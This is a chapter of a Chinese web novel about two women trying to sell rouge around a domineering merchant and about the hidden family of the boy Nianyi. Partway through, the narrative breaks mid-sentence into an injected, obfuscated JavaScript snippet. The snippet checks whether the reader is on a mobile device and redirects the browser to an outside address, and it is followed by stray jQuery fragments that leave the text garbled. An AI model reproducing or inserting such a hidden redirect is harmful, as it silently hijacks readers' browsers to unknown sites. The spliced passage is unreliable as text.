抚芙 作品

15. 相遇是上苍的馈赠

天擦黑时,妙安才风尘仆仆归来,沈疏香已经做好了简单的饭食,念一不知跑哪玩去了还没回来。


妙安丧气地摇摇头,拿起桌上的茶水一口气灌了下去,无奈叹道:“不成。”


“为何?”沈疏香对这个计划是信心十足的,她不信刘老板能只手遮天,偌大一条碧云街,总有他管不到的地方。


“之前杏山俏被刘老板推得风靡京城,那些商铺老板一看我拿的胭脂就认出来是杏山俏,纷纷拒绝。他们说刘老板放话出去,如果谁敢背着他卖我的胭脂,他就要那人倾家荡产。刘老板的靠山碧云街的商贩是清楚的,没人敢惹他。”


竟然霸道至此,沈疏香不忿道:“那我们给胭脂改头换面,换个新名字新样子。”


妙安颓然地坐在椅子上,“今日闹那一场,我已在碧云街出了名,他们都认得我的,不敢收我的东西。”


“明日我替你去,以后出面的事都由我来干,我不信那刘老板还能盯上我。”


“谢谢你啊,疏香。”妙安说着道谢的话,眼中却没有任何喜色,她沉默了许久,似是终于下定决心,说道:“疏香,我不想再在刘老板的眼皮子底下做生意了,今日吃的那些闭门羹让我深刻体会到了依赖别人的感觉,他握着你的命脉,即便赚到了钱,也不过是些小利,还得每日战战兢兢的。”


妙安坐直身子,明亮的双眸现出不容置疑的坚定:“我想越过刘老板,真正做自己的生意。”


妙安的这番决定是沈疏香没想到的,在中午的时候,沈疏香就在心里藏着一句话,不敢说出口,那句话是:你缺的只是和刘老板一样的靠山。


她深知无权者在京城的步履维艰,你要打败那些贵人的采买渠道,而那些采买渠道背后不知连着多少人的小金库,谈何容易?


她中午提出这样的主意只是一个大概的设想,等她认真揣摩过后才发现这样的方法并不比直接打败刘老板容易。


可她还是压下心底的酸涩,紧紧握住了妙安的手,想要将自己掌心的温暖传递给她:“好啊,妙安姐,我支持你。”


无论这条路有多艰难,自己的未来都不能假手于人。


妙安笑着点头,不经意瞥见书桌上摆放的字稿,随意拿起一张,一时被上面的字迷了眼,盯了许久才惊喜问道:“疏香,这是你写的字吗?”


“是我写的。”她一人无聊时为打发时间写了许多字,各种字体都有,但无一例外都漂亮至极。


“你能不能多写一点,我想用你的字当胭脂的包装。”


“我的字?”她所见过的胭脂包装都是些花鸟鱼虫的图画,用字稿当包装的想法她还是第一次听。


“你知道的,京城的公子小姐都是风雅之人,名家的画稿当做包装一直都被他们热捧。我看疏香你的字,一点都不逊于那些书法大师。”


“真的吗?”沈疏香的字被人夸过,也被人贬过,说她的字和她的诗一样,都是冷冰冰的,空洞的,没有一丝感情,美则美矣,但距离书法大师还有很远的距离。


就像,一朵没有香味的花。


这些评价曾使她丧气了许久。


就像是你引以为傲的唯一拿的出手的天赋,被人轻轻一笑,吐出一句:“不过是些小孩子玩意儿。”


但如今胭脂香味缠缠绕绕覆在她的字稿上。


溢美之辞也好,贬损之语也罢,听听就好了,何必入心?


“很特别的想法,我们要引起贵人的注意……”沈疏香拿起笔在空白的纸上写下了几句话:妆罢立春风,一笑千金少。


“附庸风雅就要做到底。”胭脂小巧,外包装容纳不了太长的诗句,只能选取一句短小的诗。


相比于制作与众不同的胭脂,更难的是怎么让贵人看到它们。


贵人要么是有自己专门的采买渠道,要么也只会去一些同娇颜阁一样地位的大店面,至于直接上门,估计连贵人的影子还没看到就被打出来了。


现下亟需寻找到一个能接触京城贵人的方法。


沈疏香突然想到了什么,拿着笔的手在空中乱挥,月白的衣裙被溅上墨汁也毫不在意。


“京城不仅流行风雅诗文,还流行做善事。”


妙安疑惑地接过她手中的笔,防止她将墨汁甩得更多。


“京城但凡有实力的人家都会开善堂,那是平民百姓唯一能直接接触到达官贵人的地方。我们可以将胭脂送一些给善堂,这样那些世家小姐便有可能会看到我们的胭脂。”


“京中善堂颇多,我们不能都送,我们要挑选那些小姐来得勤快的,善堂中女人小孩更多的。”


妙安噙着笑摇头:“亏你想得出来,给穷人送胭脂,连饭都吃不饱,要什么胭脂?”


“他们确实不会买胭脂,但只要送了,就一定会要。”


沈疏香拿起桌子上的一盒杏山俏,粉质细腻,香气馥郁,其在昏暗烛光之下依然闪耀着动人的光泽。


她的指甲在胭脂盒上留下月牙似的印痕,眼中透出珍物被深藏的不甘:“若不是刘老板做得太过,我也不会想出这样可笑的办法。”


她清楚做事最怕的就是瞻前顾后,她应该放下这些担忧,先做了再说。


这条路不是坦途,她不能畏首畏尾。


“不如明日我们依旧兵分两路,我去善堂,你去碧云街。”


妙安笑着点头:“好,事已至此,总要先试了再说。”随后去衣箱里拿了一件干净的衣裙:“疏香,不介意的话就先换上我的衣服吧。”


沈疏香低头看一眼自己的衣服,脸颊倏忽红了,裙摆沾了胭脂,袖口沾了胭脂,胸口沾了墨点,清雅白衣倒变得五颜六色了。


“谢谢妙安姐!”


她接着换衣服的机会问出了下午所思考的那个问题:“妙安姐,你的身上好香啊,但好像不是你的胭脂味。”


妙安抬手闻了闻衣袖,答道:“是刘老板店里的脂粉香,他的脂粉,一旦沾上了,就甩不掉。应该是昨日在他店里和他争论时沾上的的。”


原来是刘老板店里的香味,这么说,裴时与也去过娇颜阁了?


沈疏香还想询问更多,但打听别人家私这件事,终归是不礼貌的,而且现在妙安正为胭脂生意烦心,她也不想打扰她更多。


等过几日,胭脂生意走上正轨之后,再说吧。


……


之后一连几日,沈疏香和妙安都循着兵分两路的计划行事。


一边沈疏香去善堂碰运气,另一边妙安继续去碧云街寻找是否有脱离刘老板掌控的商家。


至于两人的进度,都不容乐观。


妙安屡屡碰壁,连夜晚做胭脂也快没了动力。


沈疏香把胭脂香粉送去挑选好的善堂时,有不少人会欢喜地拿过胭脂,但更多人是无动于衷,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946435|158699||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


她越来越觉得用这样的方法接触达官贵人太过荒谬。


更何况这样的方法每日要消耗掉许多的胭脂,她们的财力已然快撑不下去了。


“要是我也有个大靠山,第一件事就是先把刘老板那个小人处理掉……”


沈疏香用力地舂着花瓣,她将接连失败的怨气全部发泄于此,“哐哐”的声音听着像要把石钵砸个窟窿。


妙安的嘴角挂着微笑,喉咙里却发出一声无助的叹息。


沈疏香的动作渐渐变小,直到完全停止。谁不想走轻松的路呢?可是谁又有那个运气去走呢?


粪饼生意被大家发现有利可图之后,不少人仗着背后势力挤了进来,娘亲也曾有过几夜这样的叹息,曾经沈疏香以为这是娘亲不满的发泄,可是现在她想到另一重意味。


那时候的娘亲会不会是忆起了她作为将军独女的过去?


“疏香,你怎么了?”妙安伸手在她眼前晃晃,眼中满是担忧:“你是不是想到什么不开心的事情了,经常走神和流泪?”


“啊?”被冷不丁打断,沈疏香有些发愣,过后迅速拿起石杵,然而过了许久,握在手里的石杵也没有下落。


她确实经常会由眼前事而想到从前事,这种混乱感和交叠感使她心力交瘁。


“妙安姐,如果你知道一个人的将来会朝着不好的方向走,那你会怎么办呢?”她太久无人抒发,这样的话对妙安姐说说也无妨吧?


“疏香姐姐,你是仙姑吗?怎么会知道别人将来的事情呢?莫不是在杞人忧天?”念一不知从哪冒出来的,抢先接了沈疏香的话。


“你连杞人忧天都会用了?”沈疏香轻抚他的头,故作神秘说道:“悄悄告诉你吧,其实我是十八年后来的人,真的是仙姑呢。”


“骗人!”念一朝她做个鬼脸,又“蹬蹬”跑出去了。


沈疏香眼里浮出疲惫,果然不管是真话还是玩笑话,都没人信呢。


“陪着他。”一旁沉默许久的妙安突然说出三个字,字字有力直击人心。


陪着他?好熟悉的回答。


妙安的目光与沈疏香对上,认真重复道:”陪着他。你与他相遇就已经是上天的馈赠,你不知道老天爷何时会收回这一份厚礼,他的人生如何,不是你的责任,也不是你所能改变的。”


“陪着他,一起走过这一段路,你才不会后悔,也许明日,你们就真的永远分离了,连告别的机会也没有。”


相遇是上天的馈赠……连说告别的机会也没有……


沈疏香猛然抬头,却发现妙安脸上的悲伤比自己更甚,眼角已挂着晶莹的泪花。


“妙安姐,伤心事和我说说吧。”沈疏香转身为妙安倒了一杯热茶,妙安的话敲醒了她的心,她或许找到了面对沈以宁的答案。


妙安眼睛盯着跳动的烛火,不一会就别开脸,两颗泪珠顺着脸颊滑下:“其实这样的话,我很想让他听到……”


“疏香,你知道念一姓裴对吧?”


沈疏香点点头。


“那你可知道本朝的镇北将军也姓裴?”


沈疏香僵硬地点点头。


“念一和他是一母同胞的亲兄弟……”


亲兄弟……


难怪有故人之姿,原来是故人之弟……


沈疏香自己一口气灌了那杯热茶,她手心紧张地出汗,终于要知道真相了吗?